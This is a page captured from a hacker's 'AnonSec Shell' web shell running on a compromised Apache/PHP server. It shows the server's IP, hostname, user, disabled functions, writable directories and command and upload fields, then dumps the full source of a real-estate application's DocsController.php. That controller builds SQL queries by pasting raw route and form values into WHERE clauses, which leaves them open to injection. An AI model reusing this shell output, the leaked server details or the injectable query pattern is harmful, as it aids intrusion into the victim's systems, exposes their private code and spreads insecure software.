AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/controllers/DocsController.php
<?php

include_once "Controller.php";
include_once __DIR__ . "/../models/DocsModel.php";
include_once __DIR__ . "/../models/EnterprisesModel.php";
include_once __DIR__ . "/../models/UnityModel.php";
include_once __DIR__ . "/../models/TypeunityModel.php";
include_once __DIR__ . "/../models/Company_constructionModel.php";
include_once __DIR__ . "/../assets/libs/Helper.php";
include_once __DIR__ . "/../helpers/pdfConverter/PdfConverterHelper.php";
include_once __DIR__ . "/../helpers/google/GoogleDrive.php";
include_once __DIR__ . "/../models/Docs_categoryModel.php";
include_once __DIR__ . "/../helpers/CSVHelper.php";

class DocsController extends Controller {

    protected $id;
    protected $model;

    public function __construct($ui, $_L, $config, $_pd) {
        parent::__construct($ui, $_L, $config, $_pd);


        $this->ui->assign('_title', $this->_L['module imobles enterprise'] . ' - ' . $this->config['CompanyName']);
        $this->ui->assign('_st', $_L['module imobles']);

        $this->model = new DocsModel();

        $this->id = $this->routes[3];
    }

    public function listAll() {
        $select = '';
        $join = '';
        $where = '';
        $filter['items_per_page'] = 10;
        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            $filter['module_imobles_enterprise_unity_id'] = filter_var(_post('module_imobles_enterprise_unity_id'), FILTER_SANITIZE_STRING);
            $filter['module_imobles_enterprise_units_type_id'] = filter_var(_post('module_imobles_enterprise_units_type_id'), FILTER_SANITIZE_STRING);
            $filter['company_construction_id'] = filter_var(_post('company_construction_id'), FILTER_SANITIZE_STRING);
            $filter['items_per_page'] = filter_var(_post('items_per_page'), FILTER_SANITIZE_STRING);
        } else {
            if ($i = array_search('module_imobles_enterprise_unity_id', $this->routes))
                $filter['module_imobles_enterprise_unity_id'] = filter_var($this->routes[$i + 1], FILTER_SANITIZE_STRING);
            if ($i = array_search('module_imobles_enterprise_units_type_id', $this->routes))
                $filter['module_imobles_enterprise_units_type_id'] = filter_var($this->routes[$i + 1], FILTER_SANITIZE_STRING);
            if ($i = array_search('company_construction_id', $this->routes))
                $filter['company_construction_id'] = filter_var($this->routes[$i + 1], FILTER_SANITIZE_STRING);
            if ($i = array_search('items_per_page', $this->routes))
                $filter['items_per_page'] = filter_var($this->routes[$i + 1], FILTER_SANITIZE_STRING);
        }

        $type = $this->routes[3];
        $id = $this->routes[4];
        $unitModel = new UnityModel();
        $typeUnitmodel = new TypeunityModel();
        $enterprise = new EnterprisesModel();
        $companyConstruction = new Company_constructionModel();

        switch ($type) {
            case "enterprise":
                $enterprise = $enterprise->getOne($id);
                $filter['module_imobles_enterprise_id'] = $id;
                $this->ui->assign("enterprise", $enterprise);
                $this->ui->assign("unityType", array());
                $this->ui->assign("unity", array());
                $this->ui->assign("companyConstruction", array());
                break;
            case "unit":
                $unity = $unitModel->getOne($id);
                $unityType = $typeUnitmodel->getOne($unity->module_imobles_enterprise_units_type_id);
                $enterprise = $enterprise->getOne($unityType->module_imobles_enterprise_id);
                $filter['module_imobles_enterprise_id'] = $enterprise->id;
                $filter['module_imobles_enterprise_units_type_id'] = $unityType->id;
                $filter['module_imobles_enterprise_unity_id'] = $id;
                $this->ui->assign("enterprise", $enterprise);
                $this->ui->assign("unityType", $unityType);
                $this->ui->assign("unity", $unity);
                $this->ui->assign("companyConstruction", array());
                break;
            case "unit_type":
                $unityType = $typeUnitmodel->getOne($id);
                $enterprise = $enterprise->getOne($unityType->module_imobles_enterprise_id);
                $filter['module_imobles_enterprise_units_type_id'] = $id;
                $this->ui->assign("enterprise", $enterprise);
                $this->ui->assign("unityType", $unityType);
                $this->ui->assign("unity", array());
                $this->ui->assign("companyConstruction", array());
                break;
            case "company_construction":
                $companyConstruction = $companyConstruction->getOne($id);
                $filter['company_construction_id'] = $id;
                $this->ui->assign("enterprise", array());
                $this->ui->assign("unityType", array());
                $this->ui->assign("unity", array());
                $this->ui->assign("companyConstruction", $companyConstruction);
                break;
            default:
                die($this->_L['Not_Found']);
                break;
        }

        if ($type == "company_construction"){
            if ($companyConstruction->delete_at) {
                die($this->_L['Not_Found']);
            }
        } else {
            if ($enterprise->delete_at) {
                die($this->_L['Not_Found']);
            }
        }

        $this->ui->assign("type", $type);
        $this->ui->assign("id", $id);

        $this->ui->assign("url_paginator", 'module_imobles/docs/listAll/' . $type . "/" . $id . "/");

        if (!empty($filter['module_imobles_enterprise_id'])) {
            $select = ", e.name as desc_enterprise";
            $join = " JOIN module_imobles_enterprise e ON(e.id=d.module_imobles_enterprise_id)";
            $where .= " AND e.delete_at IS NULL AND d.module_imobles_enterprise_id ='" . ($filter['module_imobles_enterprise_id']) . "'";            
        }
        if (!empty($filter['module_imobles_enterprise_unity_id'])) {
            $where .= " AND d.module_imobles_enterprise_unity_id ='" . ($filter['module_imobles_enterprise_unity_id']) . "'";
            $unity = $unitModel->getOne($filter['module_imobles_enterprise_unity_id']);
            $this->ui->assign("selectunity", $unity);
        } else {
            $this->ui->assign("selectunity", array());
        }
        if (!empty($filter['module_imobles_enterprise_units_type_id'])) {
            $where .= " AND d.module_imobles_enterprise_units_type_id ='" . ($filter['module_imobles_enterprise_units_type_id']) . "'";
            $unityType = $typeUnitmodel->getOne($filter['module_imobles_enterprise_units_type_id']);
            $this->ui->assign("selecttypeunity", $unityType);
        } else {
            $this->ui->assign("selecttypeunity", array());
        }
        if (!empty($filter['company_construction_id'])) {
            $select = ", cc.name as desc_company_construction";
            $join = " JOIN module_imobles_company_construction cc ON (cc.id = d.company_construction_id)";
            $where .= " AND cc.delete_at IS NULL AND d.company_construction_id ='" . ($filter['company_construction_id']) . "'";            
        }

        $sql = ' FROM module_imobles_docs d'
                . $join
                . ' LEFT JOIN module_imobles_docs_category c ON(c.id=d.module_imobles_docs_category_id)'
                . ' WHERE d.delete_at IS NULL ' . $where;

        $order = ' order by d.id desc';
        if ($filter['items_per_page'] != 'all')
            $filter['items_per_page'] = ($filter['items_per_page'] > 0) ? $filter['items_per_page'] : 10;

        $page = isset($this->routes['5']) ? $this->routes['5'] : 1;

        $query = "SELECT d.* $select, c.name as desc_category" . $sql . $order;
        $paginator = new ModulePaginator('module_imobles_docs', $query, $filter);
        $records = $paginator->setItemsPerPage($filter['items_per_page'])
                ->setCurrentPageNumber($page)
                ->run();

        $css_arr = array('/../../../application/plugins/module_imobles/assets/css/default', 's2/css/select2.min');

        $js_arr = array(
            '/../../../application/plugins/module_imobles/assets/js/docs-list', 's2/js/select2.min'
        );

        $assets_css = Asset::css($css_arr, date("Y-m-d"));
        $assets_js = Asset::js($js_arr, date("Y-m-d"));

        $this->ui->assign('xheader', $assets_css);
        $this->ui->assign('xfooter', $assets_js);

        $this->ui->assign('docs', $records);
        $this->ui->assign('paginator', $paginator);
        $this->ui->assign('filter', $filter);

        $d = ORM::for_table('module_imobles_docs')->raw_query("select count(d.id)  as total" . $sql . "")->find_many();

        $bottomBar = array(
            array('type' => 'int', 'info' => $this->_L['module imobles docs_Qty'], 'value' => $d[0]->total),
        );
        $this->ui->assign('bottomBar', $bottomBar);

        $this->ui->assign('_st', $this->_L['module imobles docs']);
        $this->ui->assign('_include', 'docs/list');
        $this->ui->display('wrapper.tpl');
    }

    public function add() {
        $type = $this->routes[3];
        $id = $this->routes[4];
        $unitModel = new UnityModel();
        $typeUnitmodel = new TypeunityModel();
        $enterprise = new EnterprisesModel();
        $companyConstruction = new Company_constructionModel();

        switch ($type) {
            case "enterprise":
                $enterprise = $enterprise->getOne($id);
                $filter['module_imobles_enterprise_id'] = $id;
                $this->ui->assign("enterprise", $enterprise);
                $this->ui->assign("unityType", array());
                $this->ui->assign("unity", array());
                $this->ui->assign("companyConstruction", array());
                break;
            case "unit":
                $unity = $unitModel->getOne($id);
                $unityType = $typeUnitmodel->getOne($unity->module_imobles_enterprise_units_type_id);
                $enterprise = $enterprise->getOne($unityType->module_imobles_enterprise_id);
                $filter['module_imobles_enterprise_id'] = $enterprise->id;
                $filter['module_imobles_enterprise_units_type_id'] = $unityType->id;
                $filter['module_imobles_enterprise_unity_id'] = $id;
                $this->ui->assign("enterprise", $enterprise);
                $this->ui->assign("unityType", $unityType);
                $this->ui->assign("unity", $unity);
                $this->ui->assign("companyConstruction", array());
                break;
            case "unit_type":
                $unityType = $typeUnitmodel->getOne($id);
                $enterprise = $enterprise->getOne($unityType->module_imobles_enterprise_id);
                $filter['module_imobles_enterprise_units_type_id'] = $id;
                $this->ui->assign("enterprise", $enterprise);
                $this->ui->assign("unityType", $unityType);
                $this->ui->assign("unity", array());
                $this->ui->assign("companyConstruction", array());
                break;
            case "company_construction":
                $companyConstruction = $companyConstruction->getOne($id);
                $filter['module_imobles_enterprise_id'] = $id;
                $this->ui->assign("enterprise", array());
                $this->ui->assign("unityType", array());
                $this->ui->assign("unity", array());
                $this->ui->assign("companyConstruction", $companyConstruction);
                break;
            default:
                die($this->_L['Not_Found']);
                break;
        }
        if ($enterprise->delete_at) {
            die($this->_L['Not_Found']);
        }

        $this->ui->assign("type", $type);
        $this->ui->assign("id", $id);


        // CARREGA CSS E JS'S
        $css_arr = array('s2/css/select2.min', 'dp/dist/datepicker.min'
            , 'dropzone/dropzone', 'modal');

        $js_arr = array('modal',
            'dp/dist/datepicker.min',
            'numeric',
            '/../../theme/lrsys/lib/jquery.maskMoney.min',
            's2/js/select2.min', 's2/js/i18n/' . lan(), 'dropzone/dropzone',
            '/../../../application/plugins/module_imobles/assets/js/docs-form',
        );

        $assets_css = Asset::css($css_arr, "1");
        $assets_js = Asset::js($js_arr, '1');
        $this->ui->assign('xheader', $assets_css);
        $this->ui->assign('xfooter', $assets_js);
        $this->ui->assign('xfooter', $assets_js);
        $this->ui->assign('module_imobles_docs_category', array());


        $this->ui->assign('jsvar', '
        _L[\'are_you_sure\'] = \'' . $this->_L['are_you_sure'] . '\';
        _L[\'Save\'] = \'' . $this->_L['Save'] . '\';
        _L[\'OK\'] = \'' . $this->_L['OK'] . '\';
        _L[\'Remove\'] = \'' . $this->_L['Remove'] . '\';
        _L[\'Cancel\'] = \'' . $this->_L['Cancel'] . '\';
        _L[\'Select\'] = \'' . $this->_L['Select'] . '\'; 
        _L[\'View\'] = \'' . $this->_L['View'] . '\'; 
        _L[\'module_imobles Delete Attach?\'] = \'' . $this->_L['module imobles Delete Image?'] . '\';
       ');

        $this->ui->assign('docs', json_decode(json_encode(array(
            "issued_date" => "",
            "expiration_date" => "",
            "obs" => "",
            'src' => "",
            'name' => ""
        ))));


        $this->ui->assign('typeForm', 'window');

        $this->ui->assign('_st', $this->_L['module imobles enterprise']);
        $this->ui->assign('_include', 'docs/add');
        $this->ui->display('wrapper.tpl');
    }

    /**
     * Insert add to status diary
     */
    public function post() {
        try {
            $data = $_POST;
            $msg = '';
            if (empty($data['id']) && empty(@$_FILES['file']['name'])) {
                $msg .= $this->_L['module imobles doc'] . $this->_L['is required'];
            }
            if (empty($msg)) {

                if (isset($data['id']) && $data['id'] > 0) {
                    $docs = $this->model->getOne($data['id']);
                    $docs = $this->model->updateDocs($data, $docs);
                    if (empty($docs->errorFile)) {
                        $csvMsg = "";
                        if (!empty($docs->csv_price_table_message)) {
                            $csvMsg = "<br/><br/>" . $docs->csv_price_table_message;
                            unset($docs->csv_price_table_message);
                        }

                        _notify($this->_L['module imobles doc'] . " " . $this->_L['Edited Successfull'] . $csvMsg, 's');
                    } else {
                        echo isset($this->_L[$docs->errorFile]) ? $this->_L[$docs->errorFile] : $docs->errorFile;
                        exit();
                    }
                } else {
                    $docs = $this->model->createDocs($data);
                    if (empty($docs->errorFile)) {
                        $csvMsg = "";
                        if (!empty($docs->csv_price_table_message)) {
                            $csvMsg = "<br/><br/>" . $docs->csv_price_table_message;
                            unset($docs->csv_price_table_message);
                        }
                        
                        _notify($this->_L['module imobles doc'] . " " . $this->_L['Add Successfull'] . $csvMsg, 's');
                    } else {
                        echo isset($this->_L[$docs->errorFile]) ? $this->_L[$docs->errorFile] : $docs->errorFile;
                        exit();
                    }
                }
                $msg = "OK";
            }
        } catch (Exception $ex) {
            echo ($ex->getMessage());
        }
        echo $msg;
    }

    /**
     * Show form to edit status exam
     */
    public function edit() {
        $this->id = $this->routes[3];

        if (empty($this->routes[3]) || !is_numeric($this->routes[3])) {
            die($this->_L['Id_Required']);
        }

        $docs = $this->model->getOne($this->routes[3]);

        if (!$docs) {
            die($this->_L['Not_Found']);
        }

        $css_arr = array('s2/css/select2.min', 'dp/dist/datepicker.min',
            'dropzone/dropzone', 'modal');

        $js_arr = array('modal',
            'dp/dist/datepicker.min',
            '/../../theme/lrsys/lib/jquery.maskMoney.min',
            's2/js/select2.min', 's2/js/i18n/' . lan(), 'dropzone/dropzone',
            '/../../../application/plugins/module_imobles/assets/js/docs-form',
        );
//
        $assets_css = Asset::css($css_arr);
        $assets_js = Asset::js($js_arr);
        $this->ui->assign('xheader', $assets_css);
        $this->ui->assign('xfooter', $assets_js);


        $this->ui->assign('docs', $docs);
        $unitModel = new UnityModel();
        $typeUnitmodel = new TypeunityModel();
        $enterprise = new EnterprisesModel();
        $companyConstruction = new Company_constructionModel();

        if (!empty($docs->company_construction_id)) {
            $companyConstruction = $companyConstruction->getOne($docs->company_construction_id);
            $filter['company_construction_id'] = $docs->company_construction_id;
            $this->ui->assign("companyConstruction", $companyConstruction);
            $this->ui->assign("enterprise", array());
            $this->ui->assign("unityType", array());
            $this->ui->assign("unity", array());
            $type = 'company_construction';
            $id = $docs->company_construction_id;
        } else if (!empty($docs->module_imobles_enterprise_unity_id)) {
            $unity = $unitModel->getOne($docs->module_imobles_enterprise_unity_id);
            $unityType = $typeUnitmodel->getOne($unity->module_imobles_enterprise_units_type_id);
            $enterprise = $enterprise->getOne($unityType->module_imobles_enterprise_id);
            $filter['module_imobles_enterprise_id'] = $enterprise->id;
            $filter['module_imobles_enterprise_units_type_id'] = $unityType->id;
            $filter['module_imobles_enterprise_unity_id'] = $docs->module_imobles_enterprise_unity_id;
            $this->ui->assign("enterprise", $enterprise);
            $this->ui->assign("unityType", $unityType);
            $this->ui->assign("unity", $unity);
            $this->ui->assign("companyConstruction", array());
            $type = 'unit';
            $id = $docs->module_imobles_enterprise_unity_id;
        } else if (!empty($docs->module_imobles_enterprise_units_type_id)) {
            $unityType = $typeUnitmodel->getOne($docs->module_imobles_enterprise_units_type_id);
            $enterprise = $enterprise->getOne($unityType->module_imobles_enterprise_id);
            $filter['module_imobles_enterprise_units_type_id'] = $docs->module_imobles_enterprise_units_type_id;
            $this->ui->assign("enterprise", $enterprise);
            $this->ui->assign("unityType", $unityType);
            $this->ui->assign("unity", array());
            $this->ui->assign("companyConstruction", array());
            $type = 'unit_type';
            $id = $docs->module_imobles_enterprise_units_type_id;
        } else {
            $enterprise = $enterprise->getOne($docs->module_imobles_enterprise_id);
            $filter['module_imobles_enterprise_id'] = $docs->module_imobles_enterprise_id;
            $this->ui->assign("enterprise", $enterprise);
            $this->ui->assign("unityType", array());
            $this->ui->assign("unity", array());
            $this->ui->assign("companyConstruction", array());
            $type = 'enterprise';
            $id = $docs->module_imobles_enterprise_id;
        }
        $this->ui->assign("type", $type);
        $this->ui->assign("id", $id);

        $c = ORM::for_table('module_imobles_docs_category')
                ->table_alias('s')
                ->find_one($docs->module_imobles_docs_category_id);


        $this->ui->assign('module_imobles_docs_category', $c);

        $this->ui->assign('jsvar', '
        _L[\'are_you_sure\'] = \'' . $this->_L['are_you_sure'] . '\';
        _L[\'Save\'] = \'' . $this->_L['Save'] . '\';
        _L[\'OK\'] = \'' . $this->_L['OK'] . '\';
        _L[\'Remove\'] = \'' . $this->_L['Remove'] . '\';
        _L[\'Cancel\'] = \'' . $this->_L['Cancel'] . '\';
        _L[\'Select\'] = \'' . $this->_L['Select'] . '\'; 
       ');
        $this->ui->assign('typeForm', 'window');

        $this->ui->assign('_include', 'docs/add');
        $this->ui->display('wrapper.tpl');
    }

    public function delete() {
        $status = $this->model->getOne(_post('id'));
        $this->model->deleteDocs($status);
        $type = $this->routes[3];
        $id = $this->routes[4];
        r2(U . 'module_imobles/docs/listAll/' . $type . "/" . $id, 's', $this->_L['delete_successful']);
    }

    public function ajaxSelectTypeUnit() {
        $term = _post('term');
        $enterprise = $this->routes[3];
        $type = ORM::for_table('module_imobles_enterprise_units_type')
                ->table_alias('s');
        $type->where_any_is(array(array("s.title" => '%' . $term . '%')
                ), 'like');
        if (!empty($enterprise)) {
            $type->where("s.module_imobles_enterprise_id", $enterprise);
        }

        $address_neightborhoods = $type->find_many();
        $data [] = array("id" => "", $this->_L['module imobles All']);
        if ($address_neightborhoods) {
            foreach ($address_neightborhoods as $p) {
                $data[] = array(
                    'id' => $p->id,
                    'text' => $p->title
                );
            }
        }

        echo json_encode($data);
    }

    public function ajaxSelectUnit() {
        $term = _post('term');
        $typeUnity = _post('and_in');
        $enterprise = $this->routes[3];
        $type = ORM::for_table('module_imobles_enterprise_units')
                ->table_alias('s')
                ->select("s.*")
                ->join("module_imobles_enterprise_units_type", "t.id=s.module_imobles_enterprise_units_type_id", "t")
        ;

        $type->where_any_is(array(array("s.number_unity" => '%' . $term . '%',
                "s.floor" => '%' . $term . '%')
                ), 'like');
        if (!empty($enterprise)) {
            $type->where("t.module_imobles_enterprise_id", explode(",", $enterprise));
        }
        if (!empty($typeUnity)) {
            $type->where_in("s.module_imobles_enterprise_units_type_id", explode(",", $typeUnity));
        }

        $address_neightborhoods = $type->find_many();
        $data [] = array("id" => "0", "text" => $this->_L['All']);
        if ($address_neightborhoods) {
            foreach ($address_neightborhoods as $p) {
                $data[] = array(
                    'id' => $p->id,
                    'text' => $p->number_unity . " " . $p->floor . "° " . $this->_L['module imobles unity floor']
                );
            }
        }

        echo json_encode($data);
    }

    public function processDocs() {
        $id = null;
        if (empty($this->routes[3]) || !is_int($this->routes[3])) {
            $id = $this->routes[3];
        }
        
        $pdfConverter = new PdfConverterHelper();
        $pdfConverter->processAllDocs($id);
    }

    public function downloadDriveDocs() {
        $drive = new GoogleDrive();
        //match all between ("id=" or "folders/") and ("/" or end-of-line)
        $pattern = "/(?<=id=|folders\/)(.*?)(?=\?|\/|$)/";
        $enterprises = ORM::for_table('module_imobles_enterprise')
            ->select_many('id', 'name', 'link_price_table')
            ->where('fetch_from_drive', 1)
            ->where_null('delete_at')
            ->find_many();

        foreach($enterprises as $e) {
            preg_match($pattern, $e->link_price_table, $matches);
            $folder_id = $matches[0];
            $folder = $drive->filesByFolder($folder_id);
            $items = $folder->items;
            foreach($items as $pdf) {
                $file_metadata = $drive->fileData($pdf->id);
                if (!$this->checkName($e->name, $file_metadata->title)) {
                    continue;
                }
                $doc = ORM::for_table('module_imobles_docs')->create();
                $doc->module_imobles_enterprise_id = $e->id;
                $doc->name = $file_metadata->title;
                $doc->src = $this->buildSrcStr();
                $doc->module_imobles_docs_category_id = 1;
                $doc->save();
                $drive->downloadFile($pdf->id, 'application/plugins/module_imobles/uploads/docs/'.$doc->id.'/', $doc->src);
            }
        }
        $this->processDocs();
    }

    private function buildSrcStr() {
        $random = _raid().time();
        return "_".substr(md5(rand(1111,9999)),0,8).$random.rand(1111,1000).rand(99,9999).".pdf";
    }

    private function checkName($enterprise_name, $filename) {
        $lower_enterprise = strtolower($enterprise_name);
        $lower_filename = strtolower($filename);

        $sanitized_name = $this->sanitize($lower_enterprise);
        //$sanitized_name = preg_replace('/[^\x20-\x7e]/', '(.*)', $lower_enterprise);
        //$sanitized_name = preg_replace("/\(\.\*\)\(\.\*\)/", "(.*)", $sanitized_name);

        $name_pattern = "/".preg_replace("/ /", "|", $sanitized_name)."/";
        $match_count = preg_match_all($name_pattern, $lower_filename);
        return count(explode(' ', $lower_enterprise)) == $match_count;
    }

    private function sanitize($texto) {
        $texto = trim($texto);
        $aFind = array('&','á','à','ã','â','é','ê','í','ó','ô','õ','ú','ü',
            'ç','Á','À','Ã','Â','É','Ê','Í','Ó','Ô','Õ','Ú','Ü','Ç');
        $aSubs = array('e','a','a','a','a','e','e','i','o','o','o','u','u',
            'c','A','A','A','A','E','E','I','O','O','O','U','U','C');
        $novoTexto = str_replace($aFind, $aSubs, $texto);
        $novoTexto = preg_replace("/[^a-zA-Z0-9 @,-.;:\/]/", "", $novoTexto);
        return $novoTexto;
    }


    public function export_csvPriceTableModel() {
        $values = [
            ['Torre 1',  "101A",    "550000", 320019, 1, ''],
            ['Torre 1',  "201A",  "600000,5", 320019, 2,  1],
            ['Torre 1',  "202A", "633000,33", 320019, 2,  1],
            ['Torre 2',  "501B",   "1000069", 320019, 5,  1],
            ['Torre 2', "1002B",   "1500069", 320019, 10, 0],
        ];

        $csvData = array();
        foreach($values as $v){
            $csvData[] = array(
                'TORRE'           => $v[0],
                'UNIDADE'         => $v[1],
                'VALOR'           => $v[2],
                'IDTIPOUNIDADE'   => $v[3],
                'ANDAR'           => $v[4], 
                'DISPONIBILIDADE' => $v[5]
            );
        }
        $fileName = 'tabelaDePrecos_modelo' . time();
        $csvHelper = new CSVHelper();
        $csvHelper->writeCSV($fileName, array_keys($csvData[0]), $csvData);
    }

}

Anon7 - 2022
AnonSec Team